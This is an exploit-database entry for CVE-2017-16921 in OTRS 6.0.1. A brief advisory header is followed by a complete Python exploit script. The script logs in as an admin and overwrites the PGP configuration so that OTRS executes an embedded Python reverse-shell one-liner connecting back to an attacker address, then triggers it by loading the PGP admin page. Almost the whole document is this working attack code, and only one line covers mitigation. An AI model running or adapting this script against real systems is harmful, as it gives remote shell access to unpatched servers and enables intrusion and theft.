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vendor:
OTRS
by:
Hex_26
8.8
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: OTRS
Affected Version From: 4.0.1
Affected Version To: 6.0.1
Patch Exists: YES
Related CWE: CVE-2017-16921
CPE: a:otrs:otrs:6.0.1
Other Scripts: N/A
Platforms Tested: OTRS 5.0.2/CentOS 7.2.1511
2021

OTRS 6.0.1 – Remote Command Execution (2)

This exploit allows an attacker to execute arbitrary commands on the target system by exploiting a vulnerability in OTRS 6.0.1. The attacker can use a python reverse shell one liner to gain access to the target system. Manual cleanup needs to be done for the PGP options in the admin panel if the attacker wishes to preserve full working condition.

Mitigation:

The user should update the OTRS software to the latest version and apply the patch provided by the vendor.
Source

Exploit-DB raw data:

# Exploit Title: OTRS 6.0.1 - Remote Command Execution (2)
# Date: 21-04-2021
# Exploit Author: Hex_26
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE : CVE-2017-16921

#!/usr/bin/env python3
"""
Designed after https://www.exploit-db.com/exploits/43853.
Runs a python reverse shell on the target with the preconfigured options.

This script does not start a listener for you. Run one on your own with netcat or another similar tool

By default, this script will launch a python reverse shell one liner with no cleanup. Manual cleanup needs to be done for the PGP options in the admin panel if you wish to preserve full working condition.
"""

import requests;
import sys;

baseuri = "http://10.1.1.1/index.pl";
username = "root@localhost";
password = "root";
revShellIp = "10.1.1.2";
revShellPort = 7007;

sess = requests.Session();

print("[+] Retrieving auth token...");

data = {"Action":"Login","RequestedURL":"","Lang":"en","TimeOffset":"-480","User":username,"Password":password};

sess.post(baseuri,data=data);

if "OTRSAgentInterface" in sess.cookies.get_dict():
    print("[+] Successfully logged in:");
    print("OTRSAgentInterface",":",sess.cookies.get_dict()["OTRSAgentInterface"]);
else:
    print("[-] Failed to log in. Bad credentials?");
    sys.exit();

print("[+] Grabbing challenge token from PGP panel...");

contents = sess.get(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework").text;
challTokenStart = contents.find('<input type="hidden" name="ChallengeToken" value="')+50;
challengeToken = contents[challTokenStart:challTokenStart+32];
print("[+]",challengeToken);


print("[+] Enabling PGP keys in config, and setting our malicious command");

settings = {\
"ChallengeToken":challengeToken,\
"Action":"AdminSysConfig",\
"Subaction":"Update",\
"SysConfigGroup":"Framework",\
"SysConfigSubGroup":"Crypt::PGP",\
"DontWriteDefault":"1",\
"PGP":"1",\
"PGP::Bin":"/usr/bin/python",\
"PGP::Options":"-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + revShellIp + "\"," + str(revShellPort) + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",\
"PGP::Key::PasswordKey[]":"488A0B8F",\
"PGP::Key::PasswordContent[]":"SomePassword",\
"PGP::Key::PasswordDeleteNumber[]":"1",\
"PGP::Key::PasswordKey[]":"D2DF79FA",\
"PGP::Key::PasswordContent[]":"SomePassword",\
"PGP::Key::PasswordDeleteNumber[]":"2",\
"PGP::TrustedNetworkItemActive":"1",\
"PGP::TrustedNetwork":"0",\
"PGP::LogKey[]":"BADSIG",\
"PGP::LogContent[]":"The+PGP+signature+with+the+keyid+has+not+been+verified+successfully.",\
"PGP::LogDeleteNumber[]":"1",\
"PGP::LogKey[]":"ERRSIG",\
"PGP::LogContent[]":"It+was+not+possible+to+check+the+PGP+signature%2C+this+may+be+caused+by+a+missing+public+key+or+an+unsupported+algorithm.",\
"PGP::LogDeleteNumber[]":"2",\
"PGP::LogKey[]":"EXPKEYSIG",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+an+expired+key.",\
"PGP::LogDeleteNumber[]":"3",\
"PGP::LogKey[]":"GOODSIG",\
"PGP::LogContent[]":"Good+PGP+signature.",\
"PGP::LogDeleteNumber[]":"4",\
"PGP::LogKey[]":"KEYREVOKED",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\
"PGP::LogDeleteNumber[]":"5",\
"PGP::LogKey[]":"NODATA",\
"PGP::LogContent[]":"No+valid+OpenPGP+data+found.",\
"PGP::LogDeleteNumber[]":"6",\
"PGP::LogKey[]":"NO_PUBKEY",\
"PGP::LogContent[]":"No+public+key+found.",\
"PGP::LogDeleteNumber[]":"7",\
"PGP::LogKey[]":"REVKEYSIG",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\
"PGP::LogDeleteNumber[]":"8",\
"PGP::LogKey[]":"SIGEXPIRED",\
"PGP::LogContent[]":"The+PGP+signature+is+expired.",\
"PGP::LogDeleteNumber[]":"9",\
"PGP::LogKey[]":"SIG_ID",\
"PGP::LogContent[]":"Signature+data.",\
"PGP::LogDeleteNumber[]":"10",\
"PGP::LogKey[]":"TRUST_UNDEFINED",\
"PGP::LogContent[]":"This+key+is+not+certified+with+a+trusted+signature%21.",\
"PGP::LogDeleteNumber[]":"11",\
"PGP::LogKey[]":"VALIDSIG",\
"PGP::LogContent[]":"The+PGP+signature+with+the+keyid+is+good.",\
"PGP::LogDeleteNumber[]":"12",\
"PGP::StoreDecryptedData":"1"\
};


sess.post(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework",data=settings);

print("[+] Now attempting to trigger the command. If this hangs, it likely means the reverse shell started.");

sess.get(baseuri+"?Action=AdminPGP");

print("[+] Exploit complete, check your listener for a shell");